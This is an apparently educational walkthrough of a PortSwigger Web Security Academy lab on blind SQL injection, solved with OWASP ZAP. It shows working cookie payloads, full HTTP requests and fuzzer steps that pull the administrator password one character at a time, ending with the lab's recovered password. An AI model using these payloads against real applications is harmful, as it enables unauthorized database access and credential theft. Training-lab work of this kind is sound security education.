Note: This was part of an overall effort to complete PortSwigger’s Web Security Academy without Burp Suite.
An application that utilises tracking cookies for collecting usage analytics requires requests to include a cookie header similar to the following:
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
GET https://acc21f2c1e7c6c578017078200f3009b.web-security-academy.net/filter?category=Gifts HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Referer: https://acc21f2c1e7c6c578017078200f3009b.web-security-academy.net/filter?category=Gifts
Cookie: TrackingId=ttA5PuFVqBx32BKR; session=IOnCeWQ4D8oa7OTRWL5c1osLrStRH4CV
Upgrade-Insecure-Requests: 1
Host: acc21f2c1e7c6c578017078200f3009b.web-security-academy.net
When a request containing a TrackingId cookie is being handled, the application uses an SQL query to check whether the user is a recognised user. The query used is as follows:
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
Although the query does not return any data to the user, it is susceptible to SQL injection. The application behaves differently based on whether the query returns any data. If the query does return data (because the submitted TrackingId is recognised), a “Welcome back” message is displayed on the page.
This behavior makes it possible to exploit the blind SQL injection vulnerability and extract information by conditionally triggering different responses based on an injected condition. To illustrate this, let’s assume that two requests are sent consecutively, each containing a TrackingId cookie with the following values:
Note: for the sake of simplicity, we assume that the initial value of the cookie is TrackingId=xyz
.
…xyz' AND '1'='1
…xyz' AND '1'='2
The initial value will trigger the query to produce results as the injected condition AND '1'='1
is true. This results in the display of the “Welcome back” message. However, the second value will not produce any results as the injected condition is false. Consequently, the “Welcome back” message will not be displayed. By determining the answer to a single injected condition, we can gradually extract data one bit at a time.
Let’s say there is a table named Users
that includes columns named Username
and Password
, which includes a user known as Administrator
. We can determine the password for this user by sending a series of inputs to test the password one character at a time.
To begin, we can use the following input:
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm
This produces the “Welcome back” message, indicating that the first character of the password is greater than m
, as the injected condition is true.
We then send the following input:
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't
This does not return the “Welcome back” message, indicating that the injected condition is false, and hence the first character of the password is not greater than t
.
We can continue sending similar inputs until we obtain the full password for the Administrator
user. For example, the following input confirms that the first character of the password is s
:
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's'
Note: Some types of database use SUBSTR
instead of SUBSTRING
.
To modify the request containing the TrackingId
cookie, go to the front page of the shop and use a web proxy. Change the TrackingId
cookie to:
TrackingId=xyz' AND '1'='1
GET https://acc21f2c1e7c6c578017078200f3009b.web-security-academy.net/filter?category=Gifts HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Referer: https://acc21f2c1e7c6c578017078200f3009b.web-security-academy.net/filter?category=Gifts
Cookie: TrackingId=ttA5PuFVqBx32BKR' AND '1'='1; session=IOnCeWQ4D8oa7OTRWL5c1osLrStRH4CV
Upgrade-Insecure-Requests: 1
Content-Length: 0
Host: acc21f2c1e7c6c578017078200f3009b.web-security-academy.net
Confirm that the response displays the “Welcome back” message. Then modify it to:
TrackingId=xyz' AND '1'='2
GET https://acc21f2c1e7c6c578017078200f3009b.web-security-academy.net/filter?category=Gifts HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Referer: https://acc21f2c1e7c6c578017078200f3009b.web-security-academy.net/filter?category=Gifts
Cookie: TrackingId=ttA5PuFVqBx32BKR' AND '1'='2; session=IOnCeWQ4D8oa7OTRWL5c1osLrStRH4CV
Upgrade-Insecure-Requests: 1
Content-Length: 0
Host: acc21f2c1e7c6c578017078200f3009b.web-security-academy.net
Ensure that the response does not exhibit the “Welcome back” message. This illustrates how you can examine a single boolean condition and deduce the outcome. Then modify it to:
TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a
GET https://acc21f2c1e7c6c578017078200f3009b.web-security-academy.net/filter?category=Gifts HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Referer: https://acc21f2c1e7c6c578017078200f3009b.web-security-academy.net/filter?category=Gifts
Cookie: TrackingId=ttA5PuFVqBx32BKR' AND (SELECT 'a' FROM users LIMIT 1)='a; session=IOnCeWQ4D8oa7OTRWL5c1osLrStRH4CV
Upgrade-Insecure-Requests: 1
Content-Length: 0
Host: acc21f2c1e7c6c578017078200f3009b.web-security-academy.net
Verify that the condition is true, which confirms the existence of a table named “users”.
Now change it to:
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a
GET https://acc21f2c1e7c6c578017078200f3009b.web-security-academy.net/filter?category=Gifts HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Referer: https://acc21f2c1e7c6c578017078200f3009b.web-security-academy.net/filter?category=Gifts
Cookie: TrackingId=ttA5PuFVqBx32BKR' AND (SELECT 'a' FROM users WHERE username='administrator')='a; session=IOnCeWQ4D8oa7OTRWL5c1osLrStRH4CV
Upgrade-Insecure-Requests: 1
Content-Length: 0
Host: acc21f2c1e7c6c578017078200f3009b.web-security-academy.net
Verify that the condition is true, confirming that there is a user called administrator.
To determine the length of the password of the administrator user, modify the value to:
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
GET https://acc21f2c1e7c6c578017078200f3009b.web-security-academy.net/filter?category=Gifts HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Referer: https://acc21f2c1e7c6c578017078200f3009b.web-security-academy.net/filter?category=Gifts
Cookie: TrackingId=ttA5PuFVqBx32BKR' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a; session=IOnCeWQ4D8oa7OTRWL5c1osLrStRH4CV
Upgrade-Insecure-Requests: 1
Content-Length: 0
Host: acc21f2c1e7c6c578017078200f3009b.web-security-academy.net
This condition should be true, confirming that the password is greater than 1 character in length.
Send a series of follow-up values to test different password lengths. Send:
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a
Then send:
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>3)='a
Repeat this process to determine the password’s length manually using ZAP’s Manual Request Editor, as the length is presumably short. Once the condition is no longer valid (i.e., the “Welcome back” message vanishes), the password length, which is 20 characters long, is established.
GET https://acc21f2c1e7c6c578017078200f3009b.web-security-academy.net/filter?category=Gifts HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Referer: https://acc21f2c1e7c6c578017078200f3009b.web-security-academy.net/filter?category=Gifts
Cookie: TrackingId=ttA5PuFVqBx32BKR' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)=20)='a; session=IOnCeWQ4D8oa7OTRWL5c1osLrStRH4CV
Upgrade-Insecure-Requests: 1
Content-Length: 0
Host: acc21f2c1e7c6c578017078200f3009b.web-security-academy.net
Once the password length has been determined, the subsequent step is to test each character in the password to find its value. This process involves a significantly larger number of requests, necessitating the use of ZAP’s Fuzzer. To begin with, we must create a request that we can fuzz. To do so, we use ZAP’s Manual Request Editor and create a request with the following:
TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
This uses the SUBSTRING()
function to extract a single character from the password, and test it against a specific value. Our attack will cycle through each position and possible value, testing each one in turn.
From the same windows, highlight the a
, right click and send the request to ZAP’s Fuzzer, using the context menu.
Make sure the a
is highlights in the Fuzzer window:
To test the character at each position, you’ll need to send suitable payloads in the payload position that you’ve defined. You can assume that the password contains only lowercase alphanumeric characters. Click the Payloads… button, click Add…, select Numberzz and click Add:
Click Add…, select Strings, enter all letters, lowercase and click Add:
To be able to tell when the correct character was submitted, you’ll need to grep each response for the expression “Welcome back”. To do this, go to the Message Processors tab, click Add…, select “Tag Creator”, select “Match” enter the regex .*Welcome back.*
and the Tag to true
and click Add.
Click the “Start attack” button or select “Start Fuzzer” from the Fuzzer window to launch the attack. Review the attack results to determine the value of the character at the first position. Look for a row in the results with a true
tag in the “State” column, and the corresponding payload is the value of the first character, which is 1
.
To determine the values of the remaining characters, you need to re-run the attack for each offset in the password. In the main ZAP window, go to the Positions tab of the Fuzzer and change the specified offset from 1 to 2. The cookie value should be modified as follows:
TrackingId=xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a
Launch the modified attack, review the results, and note the character at the second offset. Repeat this process for offsets 3, 4, and so on until you obtain the entire password.
To speed up the process for a 20-character password, add an additional payload to the request consisting of numbers 1-20, highlighted in green:
Once you have added the Tag Creator in the Message Processors tab, you can begin the attack by clicking the “Start Fuzzer” button. As the fuzzing process runs, you can watch as the password is gradually revealed character by character.
To use the discovered password, open the login page by clicking “My account” in your browser, and enter the password to log in as the administrator
user. The password for the administrator
user was found to be 143rm9xrf2frjy31kabo
.